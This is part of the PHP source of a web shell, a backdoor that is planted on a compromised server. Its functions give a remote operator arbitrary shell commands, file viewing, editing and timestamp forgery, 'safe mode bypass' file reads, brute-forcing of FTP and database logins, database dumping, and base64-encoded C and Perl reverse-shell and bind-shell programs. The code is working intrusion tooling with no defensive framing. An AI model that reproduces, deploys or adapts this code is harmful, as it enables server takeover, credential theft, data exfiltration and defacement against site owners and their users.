echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="Virlan!!!" disabled="disabled"/>&nbsp;<input type="submit" value="Add Deface" disabled="disabled"></td></tr>
    </form></table></div>';
printFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(function_exists($_POST['p1']))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
echo strlen($temp),"
",$temp;
exit;
}
printHeader();
echo '<h1>String conversions</h1><div class=content>';
$stringTools = array(
'Base64 encode'=>'base64_encode',
'Base64 decode'=>'base64_decode',
'Url encode'=>'urlencode',
'Url decode'=>'urldecode',
'Full urlencode'=>'full_urlencode',
'md5 hash'=>'md5',
'sha1 hash'=>'sha1',
'crypt'=>'crypt',
'CRC32'=>'crc32',
'ASCII to HEX'=>'ascii2hex',
'HEX to ASCII'=>'hex2ascii',
'HEX to DEC'=>'hexdec',
'HEX to BIN'=>'hex2bin',
'DEC to HEX'=>'dechex',
'DEC to BIN'=>'decbin',
'BIN to HEX'=>'bin2hex',
'BIN to DEC'=>'bindec',
'String to lower case'=>'strtolower',
'String to upper case'=>'strtoupper',
'Htmlspecialchars'=>'htmlspecialchars',
'String length'=>'strlen',
);
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k =>$v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(function_exists($_POST['p1']))
echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div>";
printFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(is_file($_POST['p1']) &&is_readable($_POST['p1'])) {
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST['p1'],"r");
if($fp) {
while(!@feof($fp))
echo @fread($fp,1024);
fclose($fp);
}
}elseif(is_dir($_POST['p1']) &&is_readable($_POST['p1'])) {
}
exit;
}
if( @$_POST['p2'] == 'mkfile') {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'],'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
printHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
printFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
$gid = @posix_getgrgid(@fileowner($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
else
$m = array('Chmod','Rename','Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'],$perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
else
die('<script>g(null,null,null,null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
@file_put_contents($_POST['p1'],$_POST['p3']);
echo 'Saved!<br><script>document.mf.p3.value="";</script>';
}
echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0;$i<$len;++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0:  $h[2] .= ' ';break;
case 9:  $h[2] .= ' ';break;
case 10: $h[2] .= ' ';break;
case 13: $h[2] .= ' ';break;
default: $h[2] .= $c[$i];break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 <$len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'],$_POST['p3']))
echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(@touch($_POST['p1'],$time,$time))
die('<script>g(null,null,null,null,"")</script>');
else {
echo 'Fail!<script>document.mf.p3.value="";</script>';
}
}else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
}
echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
case 'mkfile':
break;
}
echo '</div>';
printFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test,'cx');
if(@copy("compress.zlib://".$_POST['p2'],$temp)){
echo @file_get_contents($temp);
unlink($temp);
}else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
case 6:
if(!function_exists('imap_open'))break;
$stream = imap_open($_POST['p2'],"","");
if ($stream == FALSE)
break;
echo imap_body($stream,1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
printHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
echo '</div>';
printFooter();
}
function actionConsole() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "document.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "document.mf.c.value='".$GLOBALS['cwd']."';";
}
}
echo "document.cf.output.value+='".$temp."';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp),"
",$temp;
exit;
}
printHeader();
echo '<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>';
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n =>$v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
}
echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
echo '</form></div><script>document.cf.cmd.focus();</script>';
printFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo '<script>alert("Logout Successful")</script>';
}
function actionSelfRemove() {
printHeader();
if($_POST['p1'] == 'yes') {
if(@unlink(SELF_PATH))
die('Shell has been removed');
else
echo 'unlink error!';
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
printFooter();
}
function actionBruteforce() {
printHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp') {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip,$port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp,$login,$pass);
@ftp_close($fp);
return $res;
}
}elseif( $_POST['proto'] == 'mysql') {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306,$login,$pass);
@mysql_close($res);
return $res;
}
}elseif( $_POST['proto'] == 'pgsql') {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
$res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432,$login,$pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":",$_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":",$line);
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1;$i>=0;--$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
}elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1],$_POST['login'],$line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="Leyte_Pr1d3"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
printFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type)    {
$this->type = $type;
}
function connect($host,$user,$pass,$dbname){
switch($this->type)    {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':',$host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type)    {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type)    {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type)    {
case 'mysql':
return $this->res = @mysql_list_dbs($this->link);
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database");
break;
}
return false;
}
function listTables() {
switch($this->type)    {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
break;
}
return false;
}
function error() {
switch($this->type)    {
case 'mysql':
return @mysql_error($this->link);
break;
case 'pgsql':
return @pg_last_error($this->link);
break;
}
return false;
}
function setCharset($str) {
switch($this->type)    {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str,$this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'mysql':
return @pg_set_client_encoding($this->link,$str);
break;
}
return false;
}
function dump($table) {
switch($this->type)    {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
echo $create[1].";

";
$this->query('SELECT * FROM `'.$table.'`');
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
echo 'INSERT INTO `'.$table.'` ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";
}
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
echo 'INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";
}
break;
}
return false;
}
};
$db = new DbClass(@$_POST['type']);
if(@$_POST['p2']=='download') {
ob_start("ob_gzhandler",4096);
$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
}
printHeader();
echo '<h1>Sql browser</h1><div class=content>
    <form name="sf" method="post">
        <table cellpadding="2" cellspacing="0">
            <tr>
                <td>Type</td>
                <td>Host</td>
                <td>Login</td>
                <td>Password</td>
                <td>Database</td>
                <td></td>
            </tr>
            <tr>
                <input type=hidden name=a value=Sql>
                <input type=hidden name=p1 value=\'query\'>
                <input type=hidden name=p2>
                <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
                <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
                <td>
                    <select name=\'type\'>
                        <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
                        <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
                    </select></td>
                <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
                <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
                <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
                <td>';
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251');break;
case "UTF-8": $db->setCharset('utf8');break;
case "KOI8-R": $db->setCharset('koi8r');break;
case "KOI8-U": $db->setCharset('koi8u');break;
case "cp866": $db->setCharset('cp866');break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key,$value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo '</td>
                <td><input type=submit value=">>"></td>
            </tr>
        </table>
        <script>
            function st(t,l) {
                document.sf.p1.value = \'select\';
                document.sf.p2.value = t;
                if(l!=null)document.sf.p3.value = l;
                document.sf.submit();
            }
            function is() {
                for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
                    document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
            }
        </script>';
if(isset($db) &&$db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key,$value) = each($item);
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
$num = $db->fetch();
$num = $num['n'];
echo "<span>".$_POST['p2']."</span> ($num) ";
for($i=0;$i<($num/30);$i++)
if($i != (int)$_POST['p3'])
echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
else
echo ($i+1)," ";
if($_POST['type']=='pgsql')
$_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') &&!empty($_POST['p3'])) {
$db->query(@$_POST['p3']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
$line = 1;
while($item = $db->fetch())    {
if(!$title)    {
echo '<tr>';
foreach($item as $key =>$value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key =>$value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
}else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
if(@$_POST['p1'] == 'loadfile') {
$db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
$file = $db->fetch();
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
}
echo '</div>';
printFooter();
}
function actionNetwork() {
printHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
